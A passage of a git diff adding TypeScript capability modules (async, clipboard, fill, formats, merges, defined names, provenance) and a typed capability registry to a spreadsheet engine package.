+ * `assertAsyncRoutable` gating (which rejects registering an async function with
+ * no execution route) stays in the kernel's function-registry plumbing.
+ */
+
+import { nodeId } from '../deps'
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { AsyncCacheSeed, SchedulerStats } from '../async'
+import type { NodeId } from '../deps'
+import type { CommitResult, Node } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ asyncCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ asyncCapability: Workbook_Async
+ }
+}
+
+/**
+ * The method surface the async capability contributes to a `Workbook`, plus the
+ * private `onAsyncResolved` callback the kernel's scheduler invokes on batch
+ * resolution.
+ */
+export interface Workbook_Async {
+ /**
+ * Resolve once no async requests remain in flight (all resolved, errored, or
+ * budget-paused-and-reported). Required by headless consumers and tests before
+ * reading async-dependent values.
+ */
+ settle: () => Promise
+ /** Scheduler counters (cache size, in-flight, dispatched, batches, paused). */
+ asyncStats: () => SchedulerStats
+ /** Persist the async result cache (last value + timestamp per call key). */
+ exportAsyncCache: () => Array
+ /**
+ * Raise the async budget cap and re-dispatch every budget-paused request
+ * (default: lift to unlimited). The released requests flush on the next pass;
+ * their cells resolve through the normal async recalc.
+ */
+ resumeAsync: (additional?: number) => void
+ /**
+ * Invalidate cached async results so they refire on the next recalc. With no
+ * argument, clears the whole cache; `key` targets one call key; `functionName`
+ * targets every result for that function name. The affected async call sites
+ * are recomputed (and refire).
+ */
+ refreshAsync: (opts?: { key?: string; functionName?: string }) => CommitResult
+ /**
+ * A batch resolved: re-evaluate the owning nodes and ripple to dependents
+ * through the normal synchronous recalc. Invoked by the kernel scheduler's
+ * `onResolved` hook. Not part of the public surface.
+ * @internal
+ */
+ onAsyncResolved: (nodes: Array) => void
+}
+
+export const asyncCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Async
+
+ /** Nodes of every formula whose AST calls an async function. */
+ const asyncCallSites = (): Array => {
+ const out: Array = []
+ const callsAsync = (node: Node): boolean => {
+ switch (node.type) {
+ case 'call':
+ return (
+ internal.functions.get(node.name)?.kind === 'async' ||
+ node.args.some(callsAsync)
+ )
+ case 'unary':
+ return callsAsync(node.operand)
+ case 'binary':
+ return callsAsync(node.left) || callsAsync(node.right)
+ default:
+ return false
+ }
+ }
+ for (const [sheetId, sheet] of internal.sheetMap) {
+ for (const key of sheet.keys()) {
+ const cell = sheet.get(key)
+ if (cell?.ast && callsAsync(cell.ast)) out.push(nodeId(sheetId, key))
+ }
+ }
+ return out
+ }
+
+ api.onAsyncResolved = function onAsyncResolved(nodes: Array): void {
+ // Coalesced per batch to avoid recalc storms when many results land
+ // together. A superseded node recomputes to its *current* call key — the
+ // stale cached value is never read.
+ if (nodes.length === 0) {
+ internal.scheduler.flush()
+ return
+ }
+ internal.commit(nodes, [])
+ }
+
+ api.settle = function settle(): Promise {
+ return internal.scheduler.settle()
+ }
+
+ api.asyncStats = function asyncStats(): SchedulerStats {
+ return internal.scheduler.stats()
+ }
+
+ api.exportAsyncCache = function exportAsyncCache(): Array {
+ return internal.scheduler.exportCache()
+ }
+
+ api.resumeAsync = function resumeAsync(additional?: number): void {
+ if (internal.scheduler.resume(additional)) internal.scheduler.flush()
+ }
+
+ api.refreshAsync = function refreshAsync(
+ opts: { key?: string; functionName?: string } = {},
+ ): CommitResult {
+ const whole = opts.key === undefined && opts.functionName === undefined
+ internal.scheduler.invalidate(
+ whole ? undefined : { key: opts.key, functionName: opts.functionName },
+ )
+ const sites = opts.functionName
+ ? internal.callSitesOf(opts.functionName)
+ : asyncCallSites()
+ return sites.length
+ ? internal.commit(sites, [])
+ : { applied: [], recalculated: [], cycles: [] }
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capabilities/clipboardCapability.ts b/packages/spreadsheet-core/src/capabilities/clipboardCapability.ts
new file mode 100644
index 0000000000..c6722c46e3
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/clipboardCapability.ts
@@ -0,0 +1,69 @@
+/**
+ * The clipboard capability: serialize a rectangle to TSV, copy a rectangle, and
+ * build paste patches. Opt-in; `new Workbook()` includes it by default.
+ * Delegates to the `./clipboard` implementations, keeping the `requireSheet`
+ * guards that reject operations on missing/virtual sheets.
+ */
+
+import {
+ buildPastePatches as buildPastePatchesImpl,
+ copyRange as copyRangeImpl,
+ rangeToTSV as rangeToTSVImpl,
+} from '../clipboard'
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { WorkbookKernelBase } from '../kernel'
+import type { Clipboard } from '../clipboard'
+import type { Patch, Rect, Ref, SheetId } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ clipboardCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ clipboardCapability: Workbook_Clipboard
+ }
+}
+
+/** The method surface the clipboard capability contributes to a `Workbook`. */
+export interface Workbook_Clipboard {
+ /**
+ * Serialize a rectangle to TSV (the clipboard interchange form) — named
+ * `rangeToTSV` to disambiguate from `serialize` (AST → formula text). Throws
+ * if the sheet does not exist (an invalid operation, per the error
+ * convention) rather than silently returning blanks.
+ */
+ rangeToTSV: (sheet: SheetId, rect: Rect) => string
+ /** Copy a rectangle, capturing its origin so pasted formulas re-anchor. */
+ copyRange: (sheet: SheetId, rect: Rect) => Clipboard
+ /** Build patches to paste a clipboard/TSV at `target` (optionally into a rect). */
+ buildPastePatches: (
+ target: Ref,
+ clip: Clipboard | string,
+ into?: Rect,
+ ) => Array
+}
+
+export const clipboardCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Clipboard
+ const workbook = internal as unknown as WorkbookKernelBase
+
+ api.rangeToTSV = function rangeToTSV(sheet: SheetId, rect: Rect): string {
+ internal.requireSheet(sheet)
+ return rangeToTSVImpl(workbook, sheet, rect)
+ }
+
+ api.copyRange = function copyRange(sheet: SheetId, rect: Rect): Clipboard {
+ internal.requireSheet(sheet)
+ return copyRangeImpl(workbook, sheet, rect)
+ }
+
+ api.buildPastePatches = function buildPastePatches(
+ target: Ref,
+ clip: Clipboard | string,
+ into?: Rect,
+ ): Array {
+ return buildPastePatchesImpl(workbook, target, clip, into)
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capabilities/fillCapability.ts b/packages/spreadsheet-core/src/capabilities/fillCapability.ts
new file mode 100644
index 0000000000..daa630516b
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/fillCapability.ts
@@ -0,0 +1,42 @@
+/**
+ * The fill capability: build patches to fill a target rectangle from a source
+ * rectangle (series inference + relative-reference translation). Opt-in;
+ * `new Workbook()` includes it by default. Delegates to `./fill`, keeping the
+ * `requireSheet` guard.
+ */
+
+import { buildFillPatches as buildFillPatchesImpl } from '../fill'
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { WorkbookKernelBase } from '../kernel'
+import type { Patch, Rect, SheetId } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ fillCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ fillCapability: Workbook_Fill
+ }
+}
+
+/** The method surface the fill capability contributes to a `Workbook`. */
+export interface Workbook_Fill {
+ /** Build patches to fill `target` from `source` (series inference + ref translation). */
+ buildFillPatches: (sheet: SheetId, source: Rect, target: Rect) => Array
+}
+
+export const fillCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Fill
+ const workbook = internal as unknown as WorkbookKernelBase
+
+ api.buildFillPatches = function buildFillPatches(
+ sheet: SheetId,
+ source: Rect,
+ target: Rect,
+ ): Array {
+ internal.requireSheet(sheet)
+ return buildFillPatchesImpl(workbook, sheet, source, target)
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capabilities/formatsCapability.ts b/packages/spreadsheet-core/src/capabilities/formatsCapability.ts
new file mode 100644
index 0000000000..f971a7c4db
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/formatsCapability.ts
@@ -0,0 +1,62 @@
+/**
+ * The formats capability: display number-format codes attached to cells,
+ * independent of the cell value lifecycle. Opt-in; `new Workbook()` includes it
+ * by default.
+ */
+
+import { pack } from '../addr'
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { Ref } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ formatsCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ formatsCapability: Workbook_Formats
+ }
+}
+
+/** The method surface the formats capability contributes to a {@link Workbook}. */
+export interface Workbook_Formats {
+ /**
+ * Attach a display number-format code (e.g. `"0.00%"`, `"yyyy-mm-dd"`) to a
+ * cell. Purely descriptive — the engine ignores it; adapters render with it
+ * via `formatValue`. Independent of the cell's value, so it survives input
+ * edits. Pass `undefined` to clear.
+ */
+ setFormat: (ref: Ref, code: string | undefined) => void
+ /** The display number-format code for a cell, if any. */
+ getFormat: (ref: Ref) => string | undefined
+}
+
+export const formatsCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Formats
+
+ api.setFormat = function setFormat(
+ ref: Ref,
+ code: string | undefined,
+ ): void {
+ const key = pack(ref.row, ref.col)
+ if (code === undefined) {
+ const map = internal.formats.get(ref.sheet)
+ if (!map?.has(key)) return // nothing to clear → no change, no notification
+ map.delete(key)
+ } else {
+ let map = internal.formats.get(ref.sheet)
+ if (!map) internal.formats.set(ref.sheet, (map = new Map()))
+ if (map.get(key) === code) return // unchanged → no notification
+ map.set(key, code)
+ }
+ // A format is display-affecting state. Bump revision and notify the
+ // cell's region so subscribed views (e.g. useCell's `display`) re-render.
+ internal.baseAtoms.revision.set((r) => r + 1)
+ internal.notifyRegions(new Map([[ref.sheet, new Set([key])]]))
+ }
+
+ api.getFormat = function getFormat(ref: Ref): string | undefined {
+ return internal.formats.get(ref.sheet)?.get(pack(ref.row, ref.col))
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capabilities/index.ts b/packages/spreadsheet-core/src/capabilities/index.ts
new file mode 100644
index 0000000000..6aeb3313c6
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/index.ts
@@ -0,0 +1,21 @@
+/**
+ * The built-in workbook capabilities, as a tree-shakeable subpath entry. A lean
+ * consumer imports only the capabilities they register through
+ * `constructWorkbook`, so unused capabilities (and their transitive deps) drop
+ * from the bundle. None of these modules statically import `./functions`.
+ */
+
+export { asyncCapability } from './asyncCapability'
+export type { Workbook_Async } from './asyncCapability'
+export { clipboardCapability } from './clipboardCapability'
+export type { Workbook_Clipboard } from './clipboardCapability'
+export { fillCapability } from './fillCapability'
+export type { Workbook_Fill } from './fillCapability'
+export { formatsCapability } from './formatsCapability'
+export type { Workbook_Formats } from './formatsCapability'
+export { mergesCapability } from './mergesCapability'
+export type { Workbook_Merges } from './mergesCapability'
+export { namesCapability } from './namesCapability'
+export type { Workbook_Names } from './namesCapability'
+export { provenanceCapability } from './provenanceCapability'
+export type { Workbook_Provenance } from './provenanceCapability'
diff --git a/packages/spreadsheet-core/src/capabilities/mergesCapability.ts b/packages/spreadsheet-core/src/capabilities/mergesCapability.ts
new file mode 100644
index 0000000000..f7fab29276
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/mergesCapability.ts
@@ -0,0 +1,98 @@
+/**
+ * The merges capability: workbook-owned merge rectangles per sheet, read by
+ * every view and by export. Opt-in; `new Workbook()` includes it by default.
+ * The kernel owns the backing map (and clears it on `removeSheet`); this
+ * capability contributes the public read/write surface.
+ */
+
+import { colOf, pack, rectContains, rectsIntersect, rowOf } from '../addr'
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { CellKey, CommitResult, Rect, SheetId } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ mergesCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ mergesCapability: Workbook_Merges
+ }
+}
+
+/** The method surface the merges capability contributes to a `Workbook`. */
+export interface Workbook_Merges {
+ /**
+ * Merge the cells of `rect`, replacing any existing merges that overlap it.
+ * Merge state is workbook-owned, so every view and the exporter see the same
+ * merges. Bumps the revision and notifies regions covering the merge.
+ */
+ mergeCells: (sheet: SheetId, rect: Rect) => CommitResult
+ /** Clear every merge that intersects `rect`. */
+ unmergeCells: (sheet: SheetId, rect: Rect) => CommitResult
+ /** A copy of every merge rectangle on `sheet` (never a live internal array). */
+ getMerges: (sheet: SheetId) => Array
+ /** The merge covering `(row, col)` on `sheet`, or `undefined`. */
+ getMergeAt: (sheet: SheetId, row: number, col: number) => Rect | undefined
+}
+
+export const mergesCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Merges
+
+ const notifyMergeChange = (sheet: SheetId, rect: Rect): CommitResult => {
+ internal.baseAtoms.revision.set((r) => r + 1)
+ const keys = new Set()
+ for (let r = rect.r0; r <= rect.r1; r++) {
+ for (let c = rect.c0; c <= rect.c1; c++) keys.add(pack(r, c))
+ }
+ internal.notifyRegions(new Map([[sheet, keys]]))
+ return {
+ applied: [],
+ recalculated: [...keys].map((k) => ({
+ sheet,
+ row: rowOf(k),
+ col: colOf(k),
+ })),
+ cycles: [],
+ }
+ }
+
+ api.mergeCells = function mergeCells(
+ sheet: SheetId,
+ rect: Rect,
+ ): CommitResult {
+ internal.requireSheet(sheet)
+ const next = (internal.merges.get(sheet) ?? []).filter(
+ (m) => !rectsIntersect(m, rect),
+ )
+ next.push({ ...rect })
+ internal.merges.set(sheet, next)
+ return notifyMergeChange(sheet, rect)
+ }
+
+ api.unmergeCells = function unmergeCells(
+ sheet: SheetId,
+ rect: Rect,
+ ): CommitResult {
+ const list = internal.merges.get(sheet)
+ if (!list) return { applied: [], recalculated: [], cycles: [] }
+ const next = list.filter((m) => !rectsIntersect(m, rect))
+ internal.merges.set(sheet, next)
+ return notifyMergeChange(sheet, rect)
+ }
+
+ api.getMerges = function getMerges(sheet: SheetId): Array {
+ return (internal.merges.get(sheet) ?? []).map((m) => ({ ...m }))
+ }
+
+ api.getMergeAt = function getMergeAt(
+ sheet: SheetId,
+ row: number,
+ col: number,
+ ): Rect | undefined {
+ for (const m of internal.merges.get(sheet) ?? []) {
+ if (rectContains(m, row, col)) return { ...m }
+ }
+ return undefined
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capabilities/namesCapability.ts b/packages/spreadsheet-core/src/capabilities/namesCapability.ts
new file mode 100644
index 0000000000..7b5ab5ec1d
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/namesCapability.ts
@@ -0,0 +1,212 @@
+/**
+ * The names capability: workbook- and sheet-scoped defined names bound to
+ * ranges, constants, or formulas. Opt-in; `new Workbook()` includes it by
+ * default.
+ *
+ * The kernel owns the `names` map and the read-side `lookupName` (dependency
+ * analysis resolves names, so resolution must live in the kernel). This
+ * capability contributes the public define/remove/get/list surface plus the
+ * write-side helpers (cycle detection and call-site recalc), reaching
+ * `updateDeps`/`commit`/`lookupName` through {@link WorkbookInternal}.
+ */
+
+import { decodeNode, nodeId } from '../deps'
+import { ParseError, parse, refsOf } from '../parser'
+import { parseA1 } from '../addr'
+import { nameTableKey } from '../kernel'
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { DefinedName, DefinedNameInfo } from '../kernel'
+import type { NodeId } from '../deps'
+import type { Node, SheetId } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ namesCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ namesCapability: Workbook_Names
+ }
+}
+
+const NAME_SYNTAX = /^[A-Za-z_][A-Za-z0-9_.]*$/
+
+/** The method surface the names capability contributes to a `Workbook`. */
+export interface Workbook_Names {
+ /**
+ * Define (or redefine) a name bound to a range, constant, or formula. The
+ * `definition` is formula text (`'A1:A10'`, `'0.21'`, `'=B1*Rate'`), parsed
+ * against `opts.scope` — a sheet-scoped name — or the first sheet for a
+ * workbook-scoped name. A name may not collide with a cell reference, a sheet
+ * name, or a function name, and may not be cyclic; violations throw with a
+ * message. Formulas that reference the name re-evaluate, so a redefinition
+ * ripples correctly.
+ */
+ defineName: (
+ name: string,
+ definition: string,
+ opts?: { scope?: SheetId },
+ ) => void
+ /** Remove a defined name; formulas that referenced it re-evaluate (to `#NAME?`). */
+ removeName: (name: string, opts?: { scope?: SheetId }) => boolean
+ /** A defined name's record, resolved against scope fallback, or `undefined`. */
+ getName: (
+ name: string,
+ opts?: { sheet?: SheetId; scope?: SheetId },
+ ) => DefinedNameInfo | undefined
+ /** Every defined name (workbook- and sheet-scoped) — the agent catalog surface. */
+ listNames: () => Array
+}
+
+export const namesCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Names
+
+ /** Reject a definition whose name-resolution graph would reach itself. */
+ const assertNoNameCycle = (
+ name: string,
+ scope: SheetId | undefined,
+ ast: Node,
+ ): void => {
+ const targetKey = nameTableKey(scope, name.toUpperCase())
+ const seen = new Set([targetKey])
+ const walk = (node: Node, ownerSheet: SheetId | undefined): void => {
+ for (const ref of refsOf(node)) {
+ if (ref.kind !== 'name') continue
+ const rec = internal.lookupName(
+ ref.name.name,
+ ownerSheet,
+ ref.name.sheet,
+ )
+ if (!rec) continue
+ const k = nameTableKey(rec.scope, rec.name.toUpperCase())
+ if (k === targetKey) {
+ throw new Error(`defined name '${name}' is cyclic`)
+ }
+ if (seen.has(k)) continue
+ seen.add(k)
+ walk(rec.ast, rec.scope)
+ }
+ }
+ walk(ast, scope)
+ }
+
+ /** Nodes of every formula whose AST references the name `upperName`. */
+ const nameSitesOf = (upperName: string): Array => {
+ const out: Array = []
+ const uses = (node: Node): boolean => {
+ switch (node.type) {
+ case 'name':
+ return node.name.toUpperCase() === upperName
+ case 'call':
+ return node.args.some(uses)
+ case 'unary':
+ return uses(node.operand)
+ case 'binary':
+ return uses(node.left) || uses(node.right)
+ default:
+ return false
+ }
+ }
+ for (const [sheetId, sheet] of internal.sheetMap) {
+ for (const key of sheet.keys()) {
+ const cell = sheet.get(key)
+ if (cell?.ast && uses(cell.ast)) out.push(nodeId(sheetId, key))
+ }
+ }
+ return out
+ }
+
+ /** Reparse + recalc every formula that references `upperName`. */
+ const recalcNameSites = (upperName: string): void => {
+ const sites = nameSitesOf(upperName)
+ if (sites.length === 0) return
+ for (const node of sites) {
+ const { sheet, key } = decodeNode(node)
+ internal.updateDeps(sheet, key)
+ }
+ internal.commit(sites, [])
+ }
+
+ api.defineName = function defineName(
+ name: string,
+ definition: string,
+ opts: { scope?: SheetId } = {},
+ ): void {
+ if (!NAME_SYNTAX.test(name)) {
+ throw new Error(
+ `invalid defined name '${name}': must start with a letter or underscore ` +
+ `and contain only letters, digits, '.', or '_'`,
+ )
+ }
+ const upper = name.toUpperCase()
+ if (upper === 'TRUE' || upper === 'FALSE') {
+ throw new Error(
+ `'${name}' is a boolean literal and cannot be a defined name`,
+ )
+ }
+ if (parseA1(name)) {
+ throw new Error(`defined name '${name}' collides with a cell reference`)
+ }
+ if (internal.sheetMap.has(name) || internal.hasVirtualSheet(name)) {
+ throw new Error(`defined name '${name}' collides with a sheet name`)
+ }
+ if (internal.functions.has(name)) {
+ throw new Error(`defined name '${name}' collides with a function name`)
+ }
+
+ const parseSheet = opts.scope ?? internal.sheetOrder()[0]
+ let ast: Node
+ try {
+ ast = parse(definition, { defaultSheet: parseSheet })
+ } catch (e) {
+ const msg = e instanceof ParseError ? e.message : String(e)
+ throw new Error(`invalid definition for name '${name}': ${msg}`)
+ }
+
+ // Insert the record first so the cycle check can resolve the name through
+ // itself (catching both self-reference and mutual cycles); roll back if
+ // the definition turns out to be cyclic, leaving any prior binding intact.
+ const tableKey = nameTableKey(opts.scope, upper)
+ const prior = internal.names.get(tableKey)
+ const rec: DefinedName = { name, scope: opts.scope, definition, ast }
+ internal.names.set(tableKey, rec)
+ try {
+ assertNoNameCycle(name, opts.scope, ast)
+ } catch (e) {
+ if (prior) internal.names.set(tableKey, prior)
+ else internal.names.delete(tableKey)
+ throw e
+ }
+ recalcNameSites(upper)
+ }
+
+ api.removeName = function removeName(
+ name: string,
+ opts: { scope?: SheetId } = {},
+ ): boolean {
+ const removed = internal.names.delete(
+ nameTableKey(opts.scope, name.toUpperCase()),
+ )
+ if (removed) recalcNameSites(name.toUpperCase())
+ return removed
+ }
+
+ api.getName = function getName(
+ name: string,
+ opts: { sheet?: SheetId; scope?: SheetId } = {},
+ ): DefinedNameInfo | undefined {
+ const rec = internal.lookupName(name, opts.sheet, opts.scope)
+ return (
+ rec && { name: rec.name, scope: rec.scope, definition: rec.definition }
+ )
+ }
+
+ api.listNames = function listNames(): Array {
+ return [...internal.names.values()].map((r) => ({
+ name: r.name,
+ scope: r.scope,
+ definition: r.definition,
+ }))
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capabilities/provenanceCapability.ts b/packages/spreadsheet-core/src/capabilities/provenanceCapability.ts
new file mode 100644
index 0000000000..bb69ce5f50
--- /dev/null
+++ b/packages/spreadsheet-core/src/capabilities/provenanceCapability.ts
@@ -0,0 +1,69 @@
+/**
+ * The provenance capability: record where a sheet's data came from and the last
+ * staged extent per source sheet (Tier-1 staging), outside the grid. Opt-in;
+ * `new Workbook()` includes it by default. The kernel owns the backing maps
+ * (and clears them on `removeSheet`); this capability contributes the public
+ * read/write surface.
+ */
+
+import type { WorkbookCapability, WorkbookInternal } from '../capability'
+import type { Rect, SheetId, SheetProvenance } from '../types'
+
+declare module '../capability' {
+ interface WorkbookPlugins {
+ provenanceCapability: WorkbookCapability
+ }
+ interface Workbook_FeatureMap {
+ provenanceCapability: Workbook_Provenance
+ }
+}
+
+/** The method surface the provenance capability contributes to a `Workbook`. */
+export interface Workbook_Provenance {
+ /** Record (or clear, with `undefined`) where a sheet's data came from. */
+ setSheetProvenance: (
+ sheet: SheetId,
+ prov: SheetProvenance | undefined,
+ ) => void
+ /** The provenance recorded for a sheet, if any. */
+ sheetProvenance: (sheet: SheetId) => SheetProvenance | undefined
+ /** The last staged extent recorded for a source sheet (Tier-1 staging). */
+ getStagedExtent: (sheet: SheetId) => Rect | undefined
+ /** Record (or clear) the staged extent for a source sheet. */
+ setStagedExtent: (sheet: SheetId, rect: Rect | undefined) => void
+}
+
+export const provenanceCapability: WorkbookCapability = {
+ construct(internal: WorkbookInternal): void {
+ const api = internal as unknown as WorkbookInternal & Workbook_Provenance
+
+ api.setSheetProvenance = function setSheetProvenance(
+ sheet: SheetId,
+ prov: SheetProvenance | undefined,
+ ): void {
+ if (prov === undefined) internal.provenance.delete(sheet)
+ else internal.provenance.set(sheet, prov)
+ }
+
+ api.sheetProvenance = function sheetProvenance(
+ sheet: SheetId,
+ ): SheetProvenance | undefined {
+ return internal.provenance.get(sheet)
+ }
+
+ api.getStagedExtent = function getStagedExtent(
+ sheet: SheetId,
+ ): Rect | undefined {
+ const r = internal.stagedExtents.get(sheet)
+ return r && { ...r }
+ }
+
+ api.setStagedExtent = function setStagedExtent(
+ sheet: SheetId,
+ rect: Rect | undefined,
+ ): void {
+ if (rect === undefined) internal.stagedExtents.delete(sheet)
+ else internal.stagedExtents.set(sheet, { ...rect })
+ }
+ },
+}
diff --git a/packages/spreadsheet-core/src/capability.ts b/packages/spreadsheet-core/src/capability.ts
new file mode 100644
index 0000000000..9e0c6135ba
--- /dev/null
+++ b/packages/spreadsheet-core/src/capability.ts
@@ -0,0 +1,192 @@
+/**
+ * The workbook capability (feature) system — a v9-native, opt-in, fully-typed
+ * registry that mirrors `@tanstack/table-core`'s `Plugins` / `*_FeatureMap`
+ * design.
+ *
+ * A {@link Workbook} is split into a *kernel* (always present: sheets, atoms,
+ * mutation/commit/recalc, dep graph, the function registry) and a set of
+ * *capabilities* (opt-in: formats, merges, clipboard, fill, provenance, names,
+ * async). Each capability is a plain object with a `construct(internal)` hook
+ * that assigns its methods onto the workbook instance, reading whatever private
+ * kernel state it needs through the {@link WorkbookInternal} accessor.
+ *
+ * The type-level machinery (`Workbook_FeatureMap`, `ExtractFeatureMapTypes`)
+ * mirrors table-core exactly, so a consumer who opts into a narrow set of
+ * capabilities gets a {@link Workbook} type carrying only those methods, while
+ * `new Workbook()` / `createWorkbook()` carry every default capability's method.
+ */
+
+import type { Atom } from '@tanstack/store'
+import type { Scheduler } from './async'
+import type { DepGraph, NodeId } from './deps'
+import type { Environment } from './eval'
+import type { Sheet } from './sheet'
+import type { DefinedName } from './workbook'
+import type {
+ CellKey,
+ CommitResult,
+ Patch,
+ Rect,
+ SheetId,
+ SheetProvenance,
+} from './types'
+import type { FunctionRegistry } from './ports'
+
+/* -------------------------------------------------------------------------- */
+/* Type utilities (mirrors table-core's TableFeatures.ts) */
+/* -------------------------------------------------------------------------- */
+
+/**
+ * Detects whether a type is `any`.
+ *
+ * The feature-map helper needs a separate `any` path so broad generic usage
+ * (e.g. the bare {@link WorkbookKernel} typed with `AllCapabilities`) still
+ * exposes all known capability APIs instead of narrowing to no keys.
+ */
+export type IsAny = 0 extends 1 & T ? true : false
+
+/** Converts a union to an intersection. */
+type UnionToIntersection = (T extends any ? (x: T) => void : never) extends (
+ x: infer I,
+) => void
+ ? I
+ : never
+
+/** Converts a union to an intersection, returning `{}` for `never`. */
+type UnionToIntersectionOrEmpty = [T] extends [never]
+ ? {}
+ : UnionToIntersection & {}
+
+/**
+ * Extracts the API contributed by the capabilities present in `TCaps`.
+ *
+ * When `TCaps` is `any`, all feature-map entries are included; otherwise only
+ * entries whose keys are present in `TCaps` are intersected together.
+ */
+export type ExtractFeatureMapTypes<
+ TCaps extends WorkbookCapabilities,
+ TFeatureMap extends object,
+> =
+ IsAny extends true
+ ? UnionToIntersection
+ : UnionToIntersectionOrEmpty<
+ TFeatureMap[Extract]
+ >
+
+/* -------------------------------------------------------------------------- */
+/* Internal accessor */
+/* -------------------------------------------------------------------------- */
+
+/**
+ * The internal kernel surface a capability's `construct` hook may read and
+ * mutate. This is the narrow, privileged accessor that lets a capability reach
+ * exactly the private kernel state it needs — nothing more. Kept deliberately
+ * minimal: add a member here only when a capability genuinely requires it.
+ */
+export interface WorkbookInternal {
+ /** The writable state atoms (public `atoms` is the read-only facade). */
+ readonly baseAtoms: {
+ revision: Atom
+ sheets: Atom>
+ }
+ /** Display number-format codes per sheet (formats capability). */
+ readonly formats: Map>
+ /** Merge rectangles per sheet (merges capability). */
+ readonly merges: Map>
+ /** Defined names, keyed by the names capability's table key. */
+ readonly names: Map
+ /** Provenance recorded per source sheet (provenance capability). */
+ readonly provenance: Map
+ /** Last staged extent per source sheet (provenance capability). */
+ readonly stagedExtents: Map
+ /** The async scheduler (async capability). */
+ readonly scheduler: Scheduler
+ /** The dependency graph (names capability, for recalc wiring). */
+ readonly deps: DepGraph
+ /** The evaluator environment. */
+ readonly env: Environment
+ /** The function registry. */
+ readonly functions: FunctionRegistry
+
+ /** Read access to real sheets (names/async scan cell ASTs). */
+ readonly sheetMap: ReadonlyMap
+ /** Read access to virtual sheet ids (names collision checks). */
+ hasVirtualSheet: (id: SheetId) => boolean
+ /** The workbook's sheet order (names scope fallback). */
+ sheetOrder: () => ReadonlyArray
+
+ /** The current volatile-function name set (names capability recomputes). */
+ volatileNames: Set
+
+ /** Assert a writable sheet exists, throwing the kernel's standard errors. */
+ requireSheet: (id: SheetId) => Sheet
+ /** Notify regions intersecting the changed keys. */
+ notifyRegions: (changedBySheet: Map>) => void
+ /** Run a guarded recalc commit (names/async ripple through this). */
+ commit: (changed: Array, applied: Array) => CommitResult
+ /** Reparse a cell's formula and update its dep edges (names capability). */
+ updateDeps: (sheet: SheetId, key: CellKey) => void
+ /** Nodes of every formula whose AST calls `name` (async/function paths). */
+ callSitesOf: (name: string) => Array
+ /**
+ * Resolve a defined name to its record (scope fallback applied). Stays in the
+ * kernel because dependency analysis resolves names too; the names capability
+ * reads it for `getName` and its cycle check.
+ */
+ lookupName: (
+ name: string,
+ ownerSheet: SheetId | undefined,
+ explicitScope?: SheetId,
+ ) => DefinedName | undefined
+}
+
+/* -------------------------------------------------------------------------- */
+/* Capability object + registry */
+/* -------------------------------------------------------------------------- */
+
+/**
+ * A workbook capability: a plain object whose `construct` hook assigns the
+ * capability's methods onto the workbook instance, reading private kernel state
+ * through {@link WorkbookInternal}. Mirrors table-core's `TableFeature`.
+ */
+export interface WorkbookCapability {
+ /**
+ * Assigns this capability's methods onto the workbook instance. Runs once
+ * during construction, after the kernel is fully initialized, in registration
+ * order — so a later capability may rely on an earlier one's methods.
+ */
+ construct?: (internal: WorkbookInternal) => void
+}
+
+/**
+ * A record of registered capabilities, keyed by capability name. The keys drive
+ * {@link Workbook_FeatureMap} extraction. Mirrors table-core's `TableFeatures`.
+ */
+export type WorkbookCapabilities = Partial
+
+/**
+ * Declaration-merge target mapping each capability key to its capability object
+ * type. Built-in capabilities merge their key here; custom capabilities can do
+ * the same to be accepted in the `capabilities` option. Mirrors table-core's
+ * `Plugins`.
+ */
+export interface WorkbookPlugins {}
+
+/**
+ * Declaration-merge target mapping each capability key to the method surface it
+ * contributes to a {@link Workbook}. Each built-in capability merges its surface
+ * here; `ExtractFeatureMapTypes` intersects the entries whose keys are present
+ * in a given `TCaps`. Mirrors table-core's `Table_FeatureMap`.
+ */
+export interface Workbook_FeatureMap {}
+
+/**
+ * Identity helper that constructs and validates a capabilities record, the way
+ * `tableFeatures()` does for features. Preserves the literal key set so the
+ * resulting {@link Workbook} type narrows to exactly the opted-in methods.
+ */
+export function workbookCapabilities(
+ capabilities: TCaps,
+): TCaps {
+ return capabilities
+}
